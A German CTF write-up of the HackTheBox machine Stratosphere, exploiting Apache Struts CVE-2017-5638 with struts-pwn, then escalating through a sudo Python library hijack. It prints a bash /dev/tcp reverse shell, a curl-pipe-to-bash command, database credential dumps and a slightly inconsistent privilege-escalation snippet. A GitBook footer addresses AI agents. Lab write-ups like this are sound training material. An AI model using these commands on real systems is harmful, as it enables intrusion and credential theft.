> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Stratosphere HackTheBox Writeup

Stratosphere HackTheBox Medium Linux-Maschine Writeup zu Apache-Struts-Exploitation (CVE-2017-5638), Python-Bibliothek-Hijacking (Privilegieneskalation), mit praktischer Enumeration, Exploitation, Fuß

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Ausnutzung von Apache Struts (CVE-2017-5638)
* Hijacking einer Python-Bibliothek (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d3cdae5c75a026d36ce74b46abed3e0aeed707f%2Fimage%20(2902).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbded504ffcbb1b10c41ed5aed3134a917474a4%2F%7B55758936-53EA-4B91-A327-C3254EC4ACCA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08454e0243825fc30e2b8d964d1e61bfd9900e%2F%7BC62FEA8F-BEBD-4877-9A8F-F581D136A474%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit ExtractPorts (**&#x32;2.80.808&#x30;**)**

Verwendung der extractPorts-Funktion, um offene Ports kompakt anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0ac6bab66dd6e8c7479cb0c8c031c8e8d7247f3%2F%7B67BA7538-04E1-4850-AE4A-67C144CCD61C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwendung von Nmap, um die Version der Ports zu scannen und Informationen in der Datei „targeted“ zu extrahieren

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29bee07c6f1c9f434325fe55b47efd5eea0ebd28%2F%7B86A74FBD-4E5E-4AC8-9AED-D3C902101424%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ece5dd3129009986c83eaebc581d8b8081ffcf22%2F%7B41D954D6-ADEE-408F-B7EC-6A5EB45F634E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/Erkundung von Webdiensten (Ports 80 und 8080) //*

Ports 80 und 8080 hosten dieselbe Website.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d6e7093e6f17a7be5138ec458e091b1ac95bfd7%2Fimage%20(2905).png?alt=media" alt=""><figcaption></figcaption></figure>

### Fuzzing mit **Gobuster**

Wir starten `Gobuster` um nach interessanten Verzeichnissen zu suchen

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

Wir entdecken die folgenden Pfade:

* `/manager` - Tomcat-Manager-Oberfläche
* `/monitoring` - Überwachungsbereich

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de4b8629312eb69d901704021e03624b589cb0b1%2F%7B2F68200E-1F15-43F1-A4C8-9572F3747869%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c13fd88b2d2e21080d13c6c8a6ff76766d18c63f%2F%7B1D0A485B-2336-49BA-B30F-E304C82639F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Überwachung:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-494cd0fa3815920c7f0e6d76c0a4d4f988488a07%2F%7B4C67C974-A428-471D-A62D-E4EF632A7914%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung von Apache Struts (CVE-2017-5638)

#### **Erkundung des Überwachungsverzeichnisses**

Beim Versuch, sich zu registrieren, erhalten wir eine Fehlermeldung. Außerdem beobachten wir eine Erweiterung `.action`, was möglicherweise auf eine auf Apache Struts basierende Anwendung hinweist

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Wir verwenden `struts-pwn.py` um Remote-Befehlsausführung zu testen:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

Der Befehl funktioniert und bestätigt die Verwundbarkeit.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Shell umgekehrt**

1. Lauschen mit Netcat:

```bash
nc -nvlp 443
```

2. Erstellen einer `index.html` Datei mit unserer umgekehrten Shell:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Bereitstellen der Datei mit einem Python-Webserver:

```
python3 -m http.server 8080
```

4. Die umgekehrte Shell über den Exploit ausführen:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Leider schlägt dieser Ansatz fehl.

### **Extraktion sensibler Informationen**

Wir listen die Dateien auf dem Server auf:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken eine `db_connect` Datei. Wenn wir sie ausgeben, erhalten wir Anmeldedaten:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die aus den MySQL-Anmeldedaten gewonnenen Informationen:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* benutzer: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Extraktionsinfo - mysqlshow

#### **Aufzählung der Datenbanken**

Wir verwenden `mysqlshow` um die mit dem Benutzer zugänglichen Datenbanken aufzulisten `admin` durch Ausnutzung einer Struts-Schwachstelle über `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd8b3be8da54bdaee2bc44f7fb8d07bda98334%2F%7B802F7D72-B20A-49E0-B1E1-8359CEB81371%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Damit können wir die Datenbank identifizieren **users**.

#### **Zusammenfassung der Tabellen**

Dann listen wir die Tabellen aus der Basis auf **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa9126a24e23ad7d5dabcce69ce07a828ba5d371%2F%7B1843F9B8-C4AF-413B-9D7F-6F2F32143D08%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Aufzählung der Spalten und Extraktion von Anmeldedaten**

Wir listen nun die Spalten der Tabelle auf **accounts** und versuchen, deren Inhalte zu extrahieren

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb790940f36626e48347d6e5de289095bd2e777c%2F%7B73E1AE99-65F5-4389-B5A9-6548065C6767%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir erhalten die folgenden Informationen:

* **Benutzername**: `richard`
* **Passwort**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b57bfef7f1d01aeee058c5b61a4a9a514ab83bf2%2F%7B4F5EB68F-B655-4B17-865C-5E1441A82C07%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden die gefundenen Informationen, um per SSH eine Verbindung zum Zielsystem herzustellen:

```bash
ssh richard@10.10.10.64
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c036ff6a552612f1178682ae5c27e4916e62653d%2F%7BF1C36E50-38E8-496A-98F5-2B8ADA8558E2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bee94285023db367055855aa6c68c4ed95b56ad6%2F%7BC790783B-58F8-400E-81D6-1D6375AC5C52%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### Privilegieneskalation durch Hijacking einer Python-Bibliothek

Zuerst führen Sie den folgenden Befehl aus, um die `sudo` Berechtigungen aufzulisten:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f619a74cffea29e380d597b6404b11b2fc2d0dce%2F%7B4966A624-1275-4984-9970-5263FFB0D2DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir stellen fest, dass wir berechtigt sind, ein Python-Skript als `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-049a712be8147af50d7017837944ce4e0776392f%2Fimage%20(2906).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Analyse des `/home/richard/test.py` Skripts erkennt man, dass ein Modul importiert wird, ohne seinen absoluten Pfad anzugeben, zum Beispiel:

```
import os
os.system("bash")
```

Dann führen wir das Skript als `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* Sobald das Skript gestartet wird, wird unsere schädliche Version von `hashlib.py` geladen und führt eine Shell mit `root` Rechten aus.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d9ea65d2964c242ab218aa3d99f78b970ff8cb4%2F%7BF4309C12-1280-48D9-88C6-2E1331EAE2D9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c86521844240de169e12d92ecc3a5647121d783d%2F%7B5E759E12-EA51-4B6F-8ECC-3A74F5438C60%7D.png?alt=media" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8252a3b5668aa0845db916a1866658e4534eff41%2F%7B3FAD7DA9-A5F4-4B29-8A8E-0F8743F2C948%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
